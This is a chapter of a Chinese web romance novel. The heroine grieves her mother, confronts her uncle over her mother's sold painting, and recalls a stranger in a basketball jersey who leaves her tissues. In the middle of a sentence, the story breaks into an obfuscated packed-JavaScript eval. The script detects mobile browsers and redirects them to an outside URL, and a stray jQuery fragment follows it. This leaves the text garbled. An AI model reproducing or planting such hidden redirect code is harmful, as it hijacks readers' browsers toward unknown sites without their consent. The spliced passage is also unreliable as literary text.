格格柠 作品

50. 第 50 章

江熙宁像被钉在副驾驶的位置上,脑袋里还有一群小蜜蜂嗡的一声飞过。


怎么会是他呢?


怎么可能是他呢?


场面像是被按下了暂停键。


于付忱像是闲聊中无意提到了一段两人曾经的交集,并没有展开话题。


隔了好久,江熙宁有些不敢相信的再次确认:“那天是你?”


江熙宁的声音很轻,好像声音大一点大脑里的那根绷起来的线就会立刻毫无预兆的断掉,她努力维持面上的平静,耐心等于付忱的回应。


于付忱则不紧不慢的偏头看了她一眼,露出一副“你忘了”的神情。


忘了,怎么可能忘。


大学里的许多事情也许她都记不太清,唯独这一件事情,不可能忘。


她记起那天,就像记起自己名字一样简单。


答案已经不言而喻。


以前,她有和李晋许问起过走廊的事,可是李晋许说记不清了。


现在她才知道,不是记不清。


是认错了人。


窗外的景色飞速的后退。


江熙宁的记忆磁带也倒回了大三暑假前的那个周末。


青城的六月,燥热的夏意在空气中膨胀,在气温连日攀升之后,闷热的像个烤炉。天气预报说,今夜会有暴雨。


下午太阳还毒辣着,但是天空中聚集了越来越多的积雨云。


看起来,这雨也有可能会提前下。


因为梁媛的葬礼,以及后续的一系列事情,江熙宁一个星期的假,逐渐延长到了一个月多月,回到青大后她将自己整天整天的泡在了图书馆。


即将迎来考试周,落下许多功课需要补。除此之外,她不想呆在爸爸家。在葬礼上改口的事让她和江礼大吵一架。


江礼一直认为梁媛是出轨才不顾一切的要和他离婚,回到宁城。只是没什么证据,姜海澎的出现,让他自然而然的以为就是梁媛当年的出轨对象。


而她认一个小三做爸爸。


自从梁媛去世后,江熙宁发现身边所有的关系都变得和这天气一样,失去控制,反复无常,不断预警。


她的手机也跳出提醒。


最后一丝血线,电量即将耗尽。


这一下午,电话已经不知响了多少个,江熙宁每每摁掉,但隔十分钟还是不断有电话进来。


不知疲倦,像极了势要叫醒人的闹钟。


又过去十分钟。


电话再一次响起。


还是外婆的来电。


江熙宁盯着屏幕看了一会儿,最终还是起身走出了图书馆。


话筒的另一端,梅淑芬的声音顺着聒噪蝉鸣声一同传来,依旧是那句开场白。


“熙宁啊,你赶紧撤诉听到没有!”


葬礼结束后,江熙宁将梁耀告上了法庭,遗产纠纷这种家庭矛盾很快就在亲戚朋友圈传开。从那之后,梅淑芬便每天打电话来。


“你这孩子主意怎么这么大,怎么能告你舅舅?这不是让街坊领居看我们家笑话。这两天我一出门,那些街坊邻居当着我的面都在说三道四的。有什么矛盾,一家人私下里商量,你赶紧去把那诉给撤了,听见没?”


江熙宁沿着人流少的方向走,自始至终不发一言,只是听梅淑芬在那劝骂,老人家心里有气,让她发泄,也许就好了。


相比于梁耀对此的无所谓,梅淑芬对这事要激动的多。除了因为这事儿让她觉得被别人当成茶余饭后的谈资不体面,更多的是她受不得梁耀吃亏。


梅淑芬生了一儿一女,但论起疼爱,一直更偏爱梁耀。因为外公走得早,她就把梁耀当作了年迈后依附的支撑,梁耀说什么她都信,无条件地支持和帮衬。


电话里,梅淑芬仍在絮絮叨叨,“你妈妈要是还活着,肯定也不能让你这么做。都是一家人哪里分的那么清。这画你卖和你舅舅卖没有区别,况且你舅舅说了,卖了画的钱给你攒着,等你以后嫁人了当作嫁妆。”


“嫁妆我自己攒。”江熙宁接过话,又问:“我妈妈的画他就能还我了?”


梅淑芬没搭茬,又把刚才的那一番话换了个表述讲了一遍。


江熙宁恢复了沉默。


见她不说话了,梅淑芬又说:“你把你舅舅告进去,画你也拿不回来了。”


江熙宁眼睫动了动,这才有了反应:“外婆,''拿不回来了''是什么意思?”


梅淑芬意识到自己嘴快,一时停住了话头。


“外婆!”江熙宁攥紧手机:“梁耀把我妈妈的画卖掉了?”


梅淑芬索性也不瞒了,搬出最后的杀手锏:“听外婆的,不要胡闹了。你要是起诉,除非我老婆子进棺材看不见。”


江熙宁询问无果,挂了电话后又拨通了梁耀的电话,她要亲口问清楚。


葬礼上大吵的那天,梁耀在众人面前表现出一副大义凛然的样子,说这幅画不是为了钱,而是去世的妹妹留给他的纪念品。


这才过去多久。


梁耀半天才接电话。。


“小孩子好好念书,少管大人的事情。碰,放下放下,手那么快干什么!”电话里混杂着人声和麻将洗牌声。


“你是不是把我妈妈的画卖了?你卖给谁了!”


空旷的走廊里,江熙宁的声音被放大,她听见自己的声音在发抖。


梁耀失碰对子,更不耐烦,“你不是起诉了吗?你找法官问我。”


电话被直接挂断。


江熙宁再打过去,通话中。


再打,关机。


机械的女声一遍遍响起,江熙宁一遍遍的听,这时的她没注意到倚靠在栏杆上,看手机的身影。


梁耀不会接电话了。


江熙宁捏了捏拳头,缓缓放下发烫的手机。


等她再抬起头,发现走到了走廊的尽头,前面没路了。


只有一堵墙。


这走廊是图书大楼和行政楼连接的廊桥的延伸段,呈一个t型。左右两侧都是一排排的玻璃窗。


因为是一条不通的路,平日里来的人少,不知道什么时候尽头这堵墙被装饰城心愿墙,成了安于一隅的一方小天地。


江熙宁不知道自己怎么绕到这里,她沉默的走到心愿墙前,墙上面贴满了五颜六色的便利贴。有人在这里抒发忧思,有人热烈地向某人表白,还有人满怀憧憬着未来。


毕业季的到来,不少学长学姐也来留言,覆盖在最外面的一层。


【小孩子才怕分离,可我已经是大人啦^^】


【在所有的道别里里面,我还是最喜欢:明天见!】


【如果以后再也见不到你,那祝你早安、午安、晚安!】


江熙宁盯着那一行行道别的小字,看了好久好久。她翻出手机里和妈妈的聊天记录。


梁媛给她发的最后一句,是“晚安”。


这句话成了永远的道别语。


她们之间的对话永远停留在两个月前。


她再也不会收到妈妈的消息了。


江熙宁眼眶渐渐发红,她用力眨了眨眼,手指往上滑动,点开梁媛去世前给她发的语音。


妈妈:【宝贝,你看。这只偷吃奶酪的像不像小时候外婆家的那只?你记不记得那时候你哭鼻子,说小老鼠偷吃了你的早餐。】


出事的前一晚,梁媛去了趟奥斯陆的蒙克美术馆,给她发了美术馆模拟的蒙克的家。家具的犄角旮旯里有许多老鼠洞,里面住着一群可爱的小老鼠。其中一张照片里,一只小老鼠正捧着一块奶酪,吃得津津有味,漆黑的圆


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127541|164357||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


眼看着镜头,模样憨态可掬。


小时候,梁媛白日接稿画一些商业画维持生活的开销,到了晚上才有时间去创作自己真正想画的作品。所以年幼的江熙宁晚上都是自己睡觉。有一晚她被房间里偷吃面包的老鼠吵醒。


黑暗中的窸窣声、闪烁的小眼睛、啃咬的声响……这些恐怖的细节如同夜晚的阴影,在江熙宁心中留下了深刻的印象。


妈妈:【换个角度看,小老鼠是不是还挺可爱的?】


在艺术的世界里,这些在夜色中穿梭的小老鼠,它们在家具的缝隙里安家,在月光下寻找食物,它们的生存同样充满了努力与执着。这种对世间万物的体察,是梁媛一直在教江熙宁的,用另一种视角去感受世界。梁媛热爱画画也来源于此。


她一直想让自己的作品走的更远,走向广阔的舞台。


只是生命太脆弱,意外来的太突然。


直到现在,江熙宁仍然不敢相信,出国前还笑着的妈妈,等她再见已经是变成了冷冰冰的尸体。


江熙宁按下语音键,眼泪不受控从眼眶里溢出,顺着脸颊滑到下巴,一滴一滴砸在手背上。


“妈妈。”


“……”


“你的画被梁耀抢走了,我刚刚知道他把画卖了。可是外婆……外婆不让我告他,我真的不知道还能怎么办了。”


“我把你的画弄丢了。”


60秒的时限没用完,厚重的积云如同翻滚的墨汁,在一瞬间吞噬了整个天空,将世界笼罩在一片压抑的黑暗之中。


走廊的灯都没反应过来亮,手机跟着天光一同暗下。


眼前的世界像是被吞没。


一切归于寂静。


下一秒,手机震动声响起,声音不大,但是在静谧的环境中格外清晰。


不是她的。


因为她的电量耗尽关机了。


江熙宁这才注意到这里不是只有她。意识到这一点,她都没来得及查看另一人在哪里,立刻背过身,朝向窗外的方向,用掌心抹去泪水。


她一点也不想被人看见哭。


家里发生了这么重大的事,她没有和任何一个同学提。


她不习惯把难过逢人就说,别人也无法感同身受。


“还没输就开始放弃。”


有人朝着许愿墙这边走来,是个男生的声音,沉沉的融于这暗色中,却透着干净。


江熙宁背脊一僵。


听见她说的话了?


她没敢转过头去,虽然觉得他的话像是在回答自己的疑惑,但两人素不相识,第一次见面,他没必要特意来安慰自己。于是用余光瞄向不远处在许愿墙前站定的人。从这个角度看过去,是一道清瘦但带有薄肌的背影,右手上抓握着白色的球衣。


上面绣着大大的数字2,另一个数字有一半藏在褶皱里,好像是个3字。


23号。


江熙宁想起今天学校里好像有校篮球友谊赛。


“丢了,那就去抢回来。”


男生左手举着电话,挡住了大半张脸,似乎没注意到她的存在,语气是藏不住的矜傲。


他漫不经心的四下环顾了一圈,发现没有便利贴,低头从兜里翻找着能写字的东西。


确认对方是和电话里的人说,江熙宁松一口气。在飞速离开和等人离开之间犹豫了片刻,但还没等她做出决定,身后的人飞速写完心愿,转头走了。


等他走后,江熙宁再次看向许愿墙,墙上密密麻麻的便利贴,多一张也分不清。


她也并不想去探究别人的心愿。


就在江熙宁打算离开时,她的视线忽然一顿,窗台的边沿上安静的躺着一块长方形的东西。


她确认来的时候没有。


是一包纸巾。